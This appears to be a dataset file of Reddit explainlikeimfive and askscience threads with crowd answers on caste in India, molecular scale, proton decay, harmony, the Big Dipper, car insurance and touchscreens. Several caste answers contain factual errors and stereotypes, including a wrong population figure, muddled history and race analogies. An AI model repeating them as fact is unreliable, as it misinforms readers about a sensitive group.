{"q_id": "8hm1do", "title": "how do people in india know who the dalits (untouchables) are and why can\u2019t this group do anything to change their status like change their name or profession?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hm1do/eli5_how_do_people_in_india_know_who_the_dalits/", "answers": {"a_id": ["dyksxgz", "dykx5lo", "dykyqfi", "dyl0kof", "dyl23s5", "dyl38eb", "dyl3tbx", "dyl4jgm", "dyl75s0", "dyl7y19", "dyl9uzl", "dyl9vme", "dylavva", "dylfa21", "dylgx6c", "dylx8mb", "dym81ke"], "score": [5, 102, 5, 336, 20, 16, 6, 176, 4, 2, 4, 2, 2, 3, 6, 3, 3], "text": ["As limited as my understanding is, for someone not born in this culture, it seems a combination of religion, tradition  &  peer pressure\n\nThe caste system has its origins in Hinduism religion  &  reincarnation, telling you're from a caste you're not is a big sin. There's no equivalent in western culture\n\nTradition and peer pressure ensure that either their surroundings already know one's caste or that the question comes fairly quickly in conversation, and aforementioned religious reasons compel if they're practicing Hinduism that they don't lie about it\n\nEdit: damn autocorrection on smartphones", "A few ways:\n\n1) Type of job: Dalits tend to do the most menial/dirty jobs, such as cleaning streets, picking up/sorting/disposing garbage, unclogging sewers, working with dead animals/leather, etc. For generations, that's the type of work that has been available to their caste and they historically haven't been able to move out of those.\n\n\n2) Skin color: Dalits tend to be darker than the others in their community. This is a total guess on my part but based on some of my travels in India. Even in the South where my family is from, and where people are often darker than their Northern counterparts, I feel like people of lower castes tend to be darker. I don't know if it has to do with lower castes perhaps coming from indigenous tribes in India, or simply because those in lower castes historically work jobs in the hot sun. I feel like it might be the latter, but in any case, having dark skin is often looked down upon in India.\n\nAccording to the Indian Constitution, discrimination of individuals due to caste is illegal. Sadly, you don't change thousands of years of social and economic discrimination in less than 100. And those in the \"untouchable\" community still face a **lot** of harassment and discrimination. Especially those who are trying to get educated and move up in life, and those who are fighting for their basic rights.", "I imagine it's a bit like how people in the US know who the Jewish people are.  \nLots of little things.", "In cities and towns for most practical purposes like in your school, work, shops or while doing business you don't actually know the person's caste and neither you care. But I'm villages it is quite different. Your social circle is quite small and everyone knows everyome else. Here your caste is part of your identity.\n\nYou will probably get many different answers for this question, which are all correct but also wrong because in country of 1.3 billion people thimgs drastically change from place to place and situation to situation.", "Usually one can guess the caste by a person's surname. As in there are certain surnames which belong only to lower caste people. People have done the changing surnames thing actually, a lot have changed their surnames to general Kumar, Kumari or Gupta.\n\nLow mobility. People lived their lifetime in a given area and changing cities (dislocating from your family and profession) was not easy. Eventually someone from you area will notice you wherever you have shifted. Also, since education was scarce for them, finding a job in a new place would be difficult. \n", "So I think I might be the only person here who has a degree in sociology majoring in population, so let me explain.\n\nFirst of all, second name is used to recognize caste.\n\nHistorically, before the rule of foreigners (around 1k years ago), India was basically divided in cities with vast wilderness separating them. The people living in these wilderness were considered \"shudr\" which is more akin to \"Savages\" in historical European culture. These included tribal people as well as outcasts. When these people were captured, due to whatever reason, they were assigned the role of slaves and given menial jobs such as cleaning shit and even scavenging shit, and thus were considered untouchables. This is the origin of this whole class.\n\nNow (A) historically cities have lost to tribal kings and vice versa, so whoever lost became the untouchable.\n\nAnd (B) there is ample evidence that whole families of people have changed their status including by changing their name and profession. There is a lot of evidence that people of one caste moved to another city and successfully claimed to be of higher caste. So caste wasn't really as rigid as it is today.\n\nHaving said that, the first documentation of caste vs class and hence the first official classification was done by the British who were trying to understand the Indian society to be able to better rule them. After the classification, they basically empowered everyone according to the caste and introduced the rigidity we see today. Independent Indian government inherited this rigidity and has resolved to do affirmative actions to fix the disparity between castes, but since last 300 years no official effort has been made to dilute this whole thing.\n\nBtw, my father is from a lower caste who studied English, earned a lot of money, married my poor high-caste mother and changed my second name.", "It's easier to know when you live in a village of 100 to 120 families but you don't care enough nor do you have time if you live in a city of 10 to 20 million people.", "In urban areas, it doesn't matter that much. Although, won't say it is completely alleviated.\n\nFor example, I live in the top tier II city of India and I just asked my mother sitting in front of me this (she's not staunch Brahmin but conservative a little and knows stuff).  Some reasons are like names. The surnames can tell a lot. While Mishra, Shukla, Dubey, Tiwari et cetera are Brahmins, just like that Valmiki, Chaudhary for example are Dalit surnames. \n\nThey can of course change their name but even that practice is so common that it's not a secret anymore. Say a Valmiki can change his name to for example Kumar but that doesn't mean all Kumars are Dalits. But since it is practiced so commonly,  caste minded people get the idea. Hope I'm making myself clear.\n\nAnother way is the rituals! Upper castes tend to (want to) enjoy rituals themselves. Say someone dies in a Brahmin family, the mourning period and the rituals tend to last for 13 days but that is not the case for Dalits, since, from ancient times they have not been able to practice such rituals, it has become tradition for them, so if someone dies in a Dalit family, the ritual barely lasts for 2-3 days. People talking about their rituals and practices is the most easy way to understand. There are other examples too but that raises an obvious question! \n\nDalits today in a modern society can change those rituals right? They are guaranteed by the constitution and law and order and all that stuff.  This is true and many tend to do it but this tendency lies in urban areas only. In rural areas, if a Dalit man even tries sitting on a horse for his wedding baaraat (a procession) the upper caste would literally shoot him for attempting to show himself as equal to Brahmins. Of course the law takes its course but the damage has been done and since it's a rural area, even police tends to act loosely because they themself sometimes respect the caste system too much or are afraid of the local upper castes people.\n\nAnd here's what you need to understand! India (a big chunk of it) still lives in those rural areas and this is why it is prevalent and while we are a developing nation and emerging super economy (means people are migrating to urban areas for better lifestyle and standard of living), these are the same people who once lived in rural areas and practiced those same traditions, they feel if they abandon such Brahminical mindset, they're betraying they're culture. So in a subtle way, it still exists in urban areas. For example, we have Dalits in our apartment and while my mother is outspoken  (a lot) she has called them Dalit (even after changing name using the same practices that I told you) but she hasn't ever discriminated. Dalits have come in our house, talked, ate, had fun, hell, even cooked in the kitchen. \n\nHope I answered you well.\n\nPS - I'm a Brahmin. The sane ones. We don't shoot people for riding horses. Frankly I asked half of this stuff from my mother just now. As an individual who was never imposed all this, I couldn't care less but that doesn't mean I shouldn't know about it.\n\n", "India has an affirmative action program for the formerly untouchable castes to raise their social status. And this program is very extreme. Mandatory 25% quota for lower castes in all universities and government jobs. In addition to this there are a lots of social security programs specifically for those castes.\n\nSo if you give up your caste, you are giving up these benefits for yourself and all your descendants.", "I'm not an expert by any stretch, but I do know that some Indians change their child's family name in order to reduce some of the problems that come with being born into the dalit castes.  In this way they try to reject the caste system altogether.\n", "Their major religion is based on the belief that these people were born in that position because they did something bad in their previous life. ", "They live in the same tiny place they were born in.\n\nThey have zero money or opportunity to go anywhere else.\n\nThe bureaucracy that any kind of official change would require is either nonexistent or at least so overwhelming that poor, uneducated people can't navigate it.\n\nThey are beat-down and have accepted their fate.\n\nAssuming a new identity--even if they could do it--would involve leaving behind the only community they've ever known.", "Mostly by the surnames, though these days this is not always accurate (and it should not be). \nAs most of the people have said, this practice (untouchability) is almost non-existent in cities. Dalits are getting education and are not asked there caste, except in some rare cases (some idiots are in every society and they will never learn to respect others). Like in my college hostel, one of my hostelmates was dalit and I did not learn his caste until my final year and even then I did not care. \nHowever, in villages the caste system is still pretty rigid. But, the number of cases of dalits being specifically targeted have gone down. The main problem is that the dalit people are seen as \"vote banks\". So, every political party tries to attract them, but they don't provide them the necessary needs of getting a better status, i.e. education, proper jobs etc. There are reserved seats for them in every government sector job. However, for the most part, only those dalits who already have a solid background are able to take advantage of reservation. Also, the reservation policy itself has some inherent flaws, but that is an entirely different discussion. \nSo, until the political parties don't stop treating them as naive vote bank, their plight won't improve.\n\nP.s.: I am a rajput, and I don't support discrimination against the dalits or any community for that matter. ", "The thing about this that gets to me is that there's something like 200,000 of them.  It should be obvious to them by now that their society isn't going to help them.  Grab some pitch forks or rocks or something and storm the damn castle for crying out loud.", "There are vast cultural differences between different castes, and indeed, between any countries' social classes.\n\nAn untouchable couldn't fake being a higher caste the same way that I, a nerd from the suburbs, can't put on a baggy coat walk up to the nearest crips hangout and say \"what up g? Let me in your gang\" \n\nFaking a culture is harder than faking an accent, and even  foreigners who have been speaking your native language for decades still usually have a noticeable accent.", "The caste system is actually of Portuguese origin word from cast\u0113. The British in India had a rule called divide and rule to try and divide people based on religion. This went on to divide even sects within religion. E.g. Buddhism is considered to be part of Hinduism, but British identified it seperataly although it stems from Hinduism.\n\nIn ancient India they had a class system called Varnas where people were ranked from top to bottom\nAt the top to bottom:\nBrahmins - Hindu Priests\nKshatriyas - Kings and Warriors\nVaishvas - Merchants and Landlords\nShudras - Commoners who served the above\n\nThis ancient class system is not exclusively to Hinduism. You see it in the western world too with Kings at top and less wealthy at bottom of the chain.\n\nWhen the British and Islamic invaders came to India they wanted to divide and rule India and win votes for their parties. One way was to convince the \"lower class\" i.e. dalits that they are not true Hindus and if they convert to Christianity or Islam they will be treated better.\n\nIn ancient times as well if you were born into a family whereby your father was an architect, then it would be natural for the son to follow that field etc, hence you may see why the dalits groups status is passed down generations.\n\nHowever many spiritual figures in India aimed to end this such as Lord Swaminarayan. Untouchables in India were referred to as \"Harijan\" meaning \"to belong to God\". However with the divide and rule mindset widespread it is difficult to get rid of it completely.\nP.S I studied religion at Uni.\n \n", "Dalits is not a homogenized community. It's a composite term which includes hundreds of communities , which exact ones are included changes depending on whom you ask. The closest official , properly defined term is an Scheduled Caste (SC). \n\nCastes groups are defined by culture and relations first . The social standing of a caste is then defined by the predominant occupation of the people in the caste. Just as an Jew doesn't stop being a jew because he isn't succesful, a few rich 'chamar' persons (an SC caste) doesn't change the whole caste. Nor does an person wish to disassociate himself from their group. \n\nCastes works in the similar way race stereotypes work . It's dependent on the whole group , although your own worth is(should be) defined by yourself. An apt analogy for america is black people can be called dalits , hispanic/brown being the middle castes and white people being the upper castes. \n\nCastes used to change their level by either winning a war or growing rich by trading or agriculture. Weavers were a traditionally rich caste , but with the advent of british who broke the Indian cloth industry , they lost their fortune and were now demoted to lower caste level. My caste grew rich and won a bunch of wars in 13-14th centuries and we have since  managed to retain our higher caste status. I can be an unsuccessful sloth, but my higher caste group identity gives me some privilege via the connections.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3n344u", "title": "If molecules of water were the size of the cherry, droplet would be size of the Earth. Is this true?", "selftext": "I read this somewhere, but it seems too mindblowing to be true. I mean, I know molecules are really smal, but come on...", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3n344u/if_molecules_of_water_were_the_size_of_the_cherry/", "answers": {"a_id": ["cvkeis9", "cvkj5gn", "cvkj7pt", "cvkjqwm"], "score": [136, 159, 6, 2], "text": ["A molecule of water is about 10^(-10) m in diameter.  A cherry is about 10^(-2) m.  That means the expansion is a factor of 100 million.  If we take a drop of water as having a diameter of 1 mm, you end up with a final diameter of about 1000 km, which is the same magnitude as the diameter of the earth.", "OK let's see. First let's lay out the numbers. \n\nAssuming we're talking about pure water:\n\n1 drop of water = 0.05 mL\n\n1 mole = 6.022 \u00d7 10^23 molecules\n\n1 mole of water = 18 grams = 18 mL\n\nNow let's find out how many moles of water are in a drop.\n\n0.05 mL \u00f7 18 mL = 0.0028 moles\n\nAnd how many molecules in 0.0028 moles.\n\n0.0028 \u00d7 (6.022 \u00d7 10^23) = 1.69 \u00d7 10^21\n\nIf a cherry is 2 cm in diameter and a perfect sphere the area it occupies is.\n\n(4/3) \u00d7 pi \u00d7 r^3 = 4.2 \u00d7 10^-6 m^3\n\nMultiply by the number of molecules.\n\n(4.2 \u00d7 10^-6 m^3) \u00d7 (1.69 \u00d7 10^21) = 7.1 \u00d7 10^15 m^3\n\nThe volume of the earth is 1.1 \u00d7 10^21 m^3\n\nAs you can see between the two figures, the difference in volume would be 6.5 \u00d7 10^-6 that of earth's. \n\nOr if a cherry were a water molecule, the earth would be about 155,000 water drops.", "I'm bored so I'll do the math for you:\nH2O diameter is roughly 2.75 \u00c5\n1 \u00c5 = 0.0000000001 m  = >  H2O diameter =  0.000000000275 m\n\nCherry I ate had diameter of around 2 cm\n1 cm = 0.01 m so cherry is around 0.02 m in diameter\n\nEarth diameter is 12 742 000 meters (~12 000 km)\n\nDroplets can be any diameter but let's say it's around 0,5 cm or 0.005 m\n\nCherry/H2O molecule diameter ratio will then be  72 727 272.73   \n(This represents how much more big cherry is than H2O molecule in diameter)\n\nNow if we assume that H2O molecules are packed tight in water, we may expect that droplet will be increased in size 72 727 272.73 times. All the way up From 0.005m to  363 636.36m in diameter\nNow compared to earth diameter it will still be 35.04 times smaller than earth. \nHowever if you use bigger cherries and bigger droplets you can still get pretty close to earth sized droplets.\n\nThe only question is WHY?!\n  \n\n", "Molecule of water: its diameter is about 2.7\u00d710^-10 m (2.7 \u00e5). Droplets vary in size, but the average size of a rain droplet is between 0.1 and 5 mm, so lets use 2.5\u00d710-3 m (2.5 mm). Increase of about 9.26\u00d710^6. Since a cherry is around 1.5\u00d710^-2 m, if a molecule of water had its smallest dimension about the size of cherry, the droplet would be about 1,4\u00d710^5 m in diameter, 140 kilometers in diameter. Earth is about 13000 kilometers, meaning it's not right at all.\n\nWhy not say \"If a water molecule was made one meter wide, a droplet made of such molecules would be around the size of Earth\"? That would work out better. Considering that the size of droplets is not fixed, you can also say \"If you were the size of a water molecule, the Earth would be the size of a droplet\". Also, the Everest would be the size of a red blood cell, biggest Pyramid in Egypt would be the size of HIV, red blood cell would be the size of an electron.and the sun would be the size of a melon, and one light minute would be the size of a cow. A light year would be the size of the moon."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1dmmxp", "title": "\"The proton has never been observed to decay and hydrogen-1 is therefore considered a stable isotope.\" Is there no more stringent way of defining H1 as a stable isotope?", "selftext": "The quote is taken from [here]( _URL_0_), and I'm curious whether there isn't a more definite way of defining an isotope as stable.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dmmxp/the_proton_has_never_been_observed_to_decay_and/", "answers": {"a_id": ["c9rrfgg", "c9rrivz", "c9rsv7n"], "score": [16, 7, 3], "text": ["The stability of the proton is an open problem (it's stable in the Standard Model, but decays with an extremely long half-life in some Grand Unified Theories).\n\nAt any rate though, if the decay exists, it is so exceedingly rare as to be negligible even on time scales on the order of the age of the universe.", "I think the definition is sufficient. The crux of isotope stability lies in the question: Does the atom emit ANY sort of [nuclear decay](_URL_0_)?\n\nIf the answer is yes, then it is unstable (given the timeframe of your choice).\n\nIf the answer is no -- which is so far the case with hydrogen, as proton decay has not yet been observed -- then it is stable (given the timeframe of your choice).", "An isotope is stable if there is no lower energy state it can decay into. For H1 to decay, you would need either a proton to decay, an electron to decay, or a proton interacting with an electron to be able to transition to some lower energy baryon/lepton pair. Experimentally, none of these things have been observed, therefore, there are no decay pathways, therefore H1 is stable.\n\nAs for whether or not a proton or an electron should be able to decay, well, various fundamental models of physics make different predictions about if those sorts of decays should occur, and if they do occur, how long they should take on average. The current experimental lower bound on the proton half-life is exceedingly long, to the point that a proton created as soon as protons were stable after the big bang likely would not have decayed before today, nor is it likely to decay in our lifetimes."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Isotopes_of_hydrogen"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Nuclear_decay#Types_of_decay"], []]}
{"q_id": "aab98e", "title": "how do humans \"know\" when musical notes work with each other in harmonies and melodies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aab98e/eli5_how_do_humans_know_when_musical_notes_work/", "answers": {"a_id": ["ecqm2no", "ecqm4k3", "ecqog5g", "ecqpuo9", "ecqr5be", "ecqrg10", "ecqtzso", "ecquoeo", "ecqvgm6", "ecrfkyh"], "score": [3, 105, 3, 43, 15, 4, 2, 2, 3, 2], "text": ["The brain likes patterns. The major and minor scales are all similar patterns. Even though the notes in an E major scale are different from the notes in a B major scale, the intervals between notes in the scales are the same. It\u2019s this pattern of intervals that gives a scale, a chord, or a key it\u2019s \u201cflavor.\u201d In many songs, musicians strategically use notes outside of the song\u2019s key to trigger \u201cdissonance\u201d in the listener\u2019s brain. Those out-of-key notes do not fit the key\u2019s \u201cpattern\u201d and the brain wants it fixed. There are only so many notes that can \u201cfix\u201d the pattern as those notes have to relate somehow to the original key while still maintaining relative harmony with the dissonant note. Because the brain is so good with patterns, it may already have catalogued possible notes that would resolve the melody. ", "Great answers to this tough question in Leonard Bernstein\u2019s Norton lectures. \n_URL_0_\n\nTL/DW. sounds have inherent overtones.  Harmony is based on them. ", "Most music functions on a set of known relationships between sounds. Musicians and songwriters spend a lot of time learning which sounds are pleasing in which sequence, and how they do and don\u2019t work well together.   Musicians also spend a lot of time learning how to make sure the note they\u2019re playing is precise and accurate.  ", "Wow, lots of very wrong explanations in here already. Short version: the vast majority of it is cultural and we simply get used to certain sounds. Traditional Asian music is tuned very differently from Western music and would sound out of tune to us in the West. That would mean different harmonies and melodies etc.\n\nAs for where these preferences originally come from on a super basic level, the theory is that it comes from the overtone series. When you hit a note on a piano string, you\u2019re hearing the fundamental frequency plus a set of other \u201cnotes\u201d that are also ringing subtly. The major scale is somewhat derived from the stronger overtones in that series, and sounds pleasant because it comes from this \u201cnatural\u201d phenomenon. That\u2019s the current theory anyway, nobody has really proven it and it\u2019s unlikely there\u2019s any way to do so. If you go back in music history, the first use of harmony was basically singing a 5th above the melody all the time (in Gregorian chant). The fifth is the first and strongest overtone in the series (after the octave, which isn\u2019t considered a harmony). So that\u2019s a bit of simple evidence for how harmony developed in the very early days.", "Harmonious tones are the result of overlapping frequencies. \n\nEvery tone played by an instrument (or voice) is composed of multiple frequencies, and if two tones share a lot of frequencies, humans can sense that instinctively in the way our brains perceive sound. Your ear is filled with arrays of tiny hairs of varying lengths which each vibrate to specific frequencies (sending nerve signals), so two tones which share frequencies set more hairs of different lengths vibrating.\n\nMusical scales are built up of tones that share varying levels of harmony, i.e., shared frequencies. For example the \"dominant\" relationship (interval) is the strongest harmony. This is the first two tones of \"Twinkle Twinkle Little Star\". The two tones naturally sound good together in sequence or overlapped. Other intervals in the scale are progressively less harmonious, and the scale contains enough tones to be useful without being cluttered with unharmonious tones. When we hear \"wrong\" tones, it's because they share few frequencies and do not blend. The closer two tones are in frequency (within the range of on octave, or twice the freqeuncy), the less they harmonize. So two tones that are next to each other on an instrument normally don't sound good together. And two tones that are even closer - like the same note on two guitars that are not tuned to each other - sound horrible. It's like watching two sets of turn signals that are slightly off in frequency.\n\nSo, while musical sense does depend to a degree on training and repeated exposure to the scale through hearing melodies (tone sequences), much of it is instinctual and based on the physics of sound.\n", "I wish my friend who is a music cognition researcher would come weigh in (he's not into reddit though, so I'll try and add some value to the conversation).\n\nFirst though: music is NOT universal. It is not a universal language, in any way shape or form. The Baby Einstein/classical music making your kid smarter is \\*not\\* a thing. This is a very eurocentric idea.\n\nRhythm, tone, pacing (beats per minute) - the 'basic mood' of the music may be conveyed across cultures because of the way that people speak. But the way the notes relate to each other and how phrases are resolved to invoke a specific mood or feeling are more learned.\n\nThink of Stravinsky's 'Rite of Spring', at the time that it was introduced, it was cacophonous noise, the notes didn't relate to each other 'right', the phrases didn't resolve 'right'. It was 'new age bullshit noise' at the time. Now, though, most people on reddit hear that music and think of Dinosaurs and volcanoes and stuff (from Disney's Fantasia)- that's our context for the music. And even though it sounds different, we still hear it as music.\n\n & #x200B;\n\n...that's about all I've got. Correct me if I'm wrong.", "It's math. If you could see sound, it would make sense. Sounds are waves, and have wave \"length\" and \"width\" (aka frequency) measurements. Just like ocean waves. Wave lengths that \"align\" well with each other sound pleasing because there is less \"clashing\" of those waves together at points of \"misalignment.\" \n\nBut sounds are not purely a single wave. (Unless synthesized.) There are also overtones and harmonics mixed in at various levels of \"hearability.\" These also have to \"align well\" or \"clash,\" giving us more definition to the alignment illusion. ", "I believe it's in the sound waves. And the spaces between them. If they line up mathematically then it sounds great.\n\nIf there is no pattern or order to the soundwaves, then they ring out of tune with each other and don't sound nice.\n\nThis can be noticed by tuning an instrument, namely a guitar.\n\nWhen tuning, the 5th fret of the lower string will make the exact tone as an open string above it. It can be hard to tune exactly by ear, unless you use harmonics.\n\nPlaying a muted string above the correct fret will create a different sound, and certain frets/strings play the same note. It's incredibly easy to notice the soundwaves coming into your ear, and if you play two harmonics (5th on the first string, 7th on the second string) then they should \"wobble\" at the same pitch and speed.\n\nIf the strings are out of tune, even slightly, this \"wobble\" is extremely *extremely* noticeable. I believe this is because the soundwaves produced by each pluck are not equal. They are arriving at your ear at a slightly different rate. The length between each soundwave will be different depending on the pitch of the sound. If they are the same pitch, the soundwaves hitting your ear will have the exact same amount of space between them.\n\nTL;DR: every pitch has a different set of soundwaves that it gives off and the space between these waves decide what it sounds like. Soundwaves have to be organized or patterned as they hit your ear for them to sound \"in sync\" with each other. No pattern = ugly sound. Math is beautiful.", "Most people here are saying it's completely or mostly cultural. I disagree. Yes, the nature of the sound and the familiarity with the different scale and note systems play a part, but the basis is physical - how do certain frequencies react to one another. You don't have to learn to know if two tones work together, you can hear it by the oscillations they create together, what kind of wave they are combined. Not to say that what is or isn't a pleasant or unpleasant oscillation is completely universal, but they still aren't 100% arbitrary. ", "Listens to Nickelback...  \n\n\nDo we?  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://m.youtube.com/watch?v=Gt2zubHcER4"], [], [], [], [], [], [], [], []]}
{"q_id": "11d39x", "title": "How far apart are the stars in the constellation \"The Big Dipper?\" ", "selftext": "Bonus points: \nIf you put a planet in the \"scoop\" part of the big dipper, would it see 4 suns as we view our sun, or would they appear to be far away stars like we see? Would it see all of the suns in the constellation?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/11d39x/how_far_apart_are_the_stars_in_the_constellation/", "answers": {"a_id": ["c6le9od", "c6lf14b", "c6lf549", "c6lf5pu", "c6lfag0", "c6lhkok", "c6lnmfy"], "score": [4, 4, 17, 2, 7, 44, 3], "text": ["I can answer the second question: the other stars would not appear as our sun, all those stars are light years away from each other. ", "Answered here: _URL_0_\n\nSee Distance column. And from that you know the answer to your second question.", "The center five stars are a group, the Ursa Major Moving Group. In that group, Merak and Mizar are furthest apart (30 lightyears), while Megrez and Alioth are closest (6 lightyears).\n\nAn observer near Megrez would see Alioth as bright as we see Venus. \nAn observer near Merak would see Megrez, Alioth and Mizar as a beautiful small triangle of bright stars.\n\n(from [this blog](_URL_0_))", "The end of the handle and the front of the bowl are separated by 56 light years, [according to W|A](_URL_0_). \n\nFor comparison, the end of the handle is about 100 ly from Earth.", "This is a wonderful site to get a feel for distances in space. Go to \"animations\" - >  \"travels through space\" (though there are a lot of other cool resources too)\n\n_URL_0_", "Check out this picture I found: _URL_0_", "Remember, constellations aren't actual astronomical objects. They're for the most part random stars which the Greeks decided made shapes in the sky. Stars in constellations tend to be no closer to each other than our Sun is to its neighbors. Sometimes they're not entirely random - the stars in the handle of the dipper do form part of a moving group and so are a bit closer to each other than normal, but from within they'd each still just look like bright stars."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Big_dipper#Stars"], ["http://watchingtheworldwakeup.blogspot.nl/2009/10/astroweek-part-2-three-cool-things.html"], ["http://www.wolframalpha.com/input/?i=distance+between+Eta+Ursae+Majoris+and+Alpha+Ursae+Majoris"], ["http://astronexus.com/node/28"], ["http://en.es-static.us/upl/2009/06/big_dipper_past_future_star_motions.jpeg"], []]}
{"q_id": "drqgp9", "title": "what uninsured/underinsured motorist bodily injury means in car insurance and is it necessary?", "selftext": "I know this sounds dumb but car insurance lingo has always been like a foreign language to me. I recently bought a new car through progressive and the \u201cuninsured/underinsured motorist bodily injury\u201d area was something that I couldn\u2019t leave unchecked without emailing over a signed refusal form for it. This made me afraid to take that off my car insurance coverage, but it makes my payments significantly higher. I don\u2019t understand what the difference is between that and \u201cbodily injury and property damage\u201d; they sound the same but are in completely separate categories. I\u2019m also confused about what exactly the difference between \u201cbodily injury and property damage\u201d and \u201cmedical payments\u201d coverages are, as well as the difference between \u201ccollision\u201d and \u201ccomprehensive.\u201d I feel like I\u2019m screwing myself and just want to understand the basics of car insurance like a normal adult", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/drqgp9/eli5_what_uninsuredunderinsured_motorist_bodily/", "answers": {"a_id": ["f6keq3u", "f6kfbqj", "f6kfspd", "f6kg50y"], "score": [2, 10, 2, 2], "text": ["Is that is someone without insurance hits you. You  will still be coverd if they dont have insurance. I will say to leave it, it is really important.", "Bodily Injury and Property Damage aren't for you.  That is what you will pay to the people YOU injure with your car.  It is usually called Liability.\n\nCollision and Comprehensive - You get into a wreck, and it's your fault, Liability pays for the other person's damage, Collision pays for your own damage.  Comprehensive is for stuff that happens to your car outside of hitting another car, like your car is stolen, or damaged by a flying rock, or hail stones, etc.\n\n & #x200B;\n\nUninsured motorist is there to cover things that happen when an uninsured person damages you (and it's their fault).  In a collision where they hit you and they are at fault, they are liable to pay for your car.   But what if they can't pay for your car's damage?  You can take them to court, but if they have no money, they have no money.  This will pay for things that aren't your fault when the at-fault party has no way to pay you.", "1) Is it mandatory? That depends entirely on your state.\n\n2) What does it do? It basically pays out money for you, other insured drivers on your plan and passengers in your vehicle to get money for injury/damage/death caused by another driver who either does not have enough insurance coverage or who has no insurance. If you don't have this insurance and their insurance can't cover the medical bills, you might have to pay yourself out of pocket (or through your health insurance). So it's someone *else* causing an accident against *you*. \n\n3) \"Bodily injury and property damage\" is like the other side, where *you're* the one who causes the accident and now *your* insurance has to pay for the other person's medical bill or property damage. It's *you* causing an accident against someone else. \n\n4) \"Medical Payments\" is just that - it's your auto insurance help footing the cost of medical bills that you or a passenger have to pay after an accident, regardless if you cause the accident or not. It's good because it can help cover costs that your health insurance might not, and it covers your passenger(s) (your health insurance would not cover them).\n\n5) \"Collision insurance\" is basically for when your car gets damaged - from hitting another vehicle, or a tree or a sign, or even rolling over. You pay a deductible to get the vehicle repaired or, if the damage is too much, \"replaced\" (you usually get a payout for the car).\n\n6) \"Comprehensive insurance\" is for everything non-collision related - if your car is stolen, or a tree falls on it, or someone breaks the mirror off.", "Bodily Injury and Property Damage covers damage you cause to other people and property.\n\nMedical payments cover medical bills related to an at-fault accident.\n\nCollision covers repairs to your vehicle due to an accident you cause.\n\nComprehensive is an all-encompassing term that covers everything else, ranging from windshield replacement to scratched paint from a shopping cart, to a deer strike, to theft of your vehicle.\n\nThe reason uninsured/underinsured coverage is so important is because many states have criminally low minimum coverage requirements for auto policies.  It's very easy for even a minor accident to cause $100k or more in property damage and medical bills, and if the at-fault party only has $30k of coverage to be divides between all parties, it puts you in a bad situation.  Underinsured coverage protects you in that event."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2pdc2h", "title": "why do people say \"dig a hole to china\"? why china specifically?", "selftext": "Why not Japan? Russia? China is at a weird place in the world and isn't exactly a convenient place to dig a hole to, so why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pdc2h/eli5_why_do_people_say_dig_a_hole_to_china_why/", "answers": {"a_id": ["cmvldex"], "score": [2], "text": ["China may not be the exact other side of the world from the United States but for the uneducated on the subject logic would tell you that it is. Also Chinese culture is vastly different from out own. I'm sure that plays into it a little."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5v79zt", "title": "how come you can us your finger or stylus when scrolling on an iphone, but not a pencil eraser?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5v79zt/eli5_how_come_you_can_us_your_finger_or_stylus/", "answers": {"a_id": ["ddzrjhk", "ddzsx68", "ddzvb45"], "score": [12, 5, 4], "text": ["iPhones (and other similar smartphones and tablets) use what is called a capacitive touchscreen.  This means that it uses the electricity flowing through your body to complete a circuit to detect touch.  The styluses that work with these screens are designed to have a conductive surface to complete that circuit.  Pencil erasers don't complete that circuit.", "Ok but once I actually opened an app by touching a bagel to my screen? Why the hell did it work?", "I at first misread this as OP wondering why you can't erase pencil with your finger.  Thought some of you might get a laugh out of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3yj8uo", "title": "if people seek out a partner with good genetics, and even a man with bad genetics can work out and get muscles, why do women find muscles on a guy attractive?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3yj8uo/eli5_if_people_seek_out_a_partner_with_good/", "answers": {"a_id": ["cydv6j5", "cydv9et", "cydwbbq", "cydzjsr", "cye0ips", "cye2gvz"], "score": [3, 5, 3, 2, 7, 2], "text": ["If a guy can work out and get muscles then he doesnt actually have that bad of genetics. \n\nAlso theres more to it than guys with muscles are attractive. Most girls could point to some guys with muscles that they dont view as attractive.", "Muscles are a small piece of overall attractiveness.  But they do suggest he is physically fit. \n\nToo many muscles and he starts to look unattractive imo. ", "First, better genetics will lead to nicer muscles.\n\nSecond, the ability to work out and develop these muscles suggest that this is a man with good nutrition and in overall good health -- very desirable qualities.", " Because this all goes back to an earlier time where people based attractiveness on inherent traits that will lead to a healthier, fitter species . Women were attracted to larger men because that implied they were of the hunter/gather type and physically fit and healthy. The same applies to why men are attracted to women with child bearing hips. Evolution, and the survival of our species.", "You have it backwards.\n\nPeople seek out a partner with good *fitness*.  This, essentially, being the capability of a partner to keep their mate and progeny alive.\n\n\"Good genetics\" are simply thought to be positively correlated with good fitness.", "Being muscular means your in shape and capable of working hard. This would be really important for a number of reasons, hunting, fighting off other males/predators, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
